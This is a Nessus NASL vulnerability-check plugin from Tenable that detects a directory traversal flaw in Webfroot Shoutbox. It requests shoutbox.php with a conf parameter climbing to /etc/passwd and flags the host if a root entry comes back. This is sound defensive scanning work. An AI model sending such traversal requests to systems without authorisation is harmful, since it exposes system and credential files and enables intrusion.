#
# (C) Tenable Network Security
#

if(description)
{
 script_id(11680);
 script_bugtraq_id(7717);
 script_version("$Revision$");

 name["english"] = "Webfroot Shoutbox Directory Traversal";
 script_name(english:name["english"]);

 desc["english"] = "
Webfroot Shoutbox.php is vulnerable to a directory traversal.
It enables a remote attacker to view any file on the computer
with the privileges of the web server.

Risk factor : High";

 script_description(english:desc["english"]);
 
 summary["english"] = "Webfroot Shoutbox is vulnerable to an exploit which lets an attacker view any file that the web server has access to.";

 script_summary(english:summary["english"]);
 script_category(ACT_GATHER_INFO);
 script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security");
 family["english"] = "CGI abuses";
 script_family(english:family["english"]);
 script_dependencie("find_service.nes", "http_version.nasl");
 script_require_ports("Services/www", 80);
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_kb_item("Services/www");
if(!port)port = 80;
if(!get_port_state(port))exit(0);


function check(req)
{
  req = http_get(item:req, port:port);
  r = http_keepalive_send_recv(port:port, data:req);
  if ( r == NULL ) exit(0);

  if(egrep(pattern:".*root:.*:0:[01]:.*", string:r))
  {
        security_hole(port:port);
        return(1);
  }
 return(0);
}

dirs = cgi_dirs();
foreach dir (dirs)
{
 url1 = string(dir, "/shoutbox.php?conf=../../../../../../../etc/passwd");
 if(check(req:url1))exit(0);
}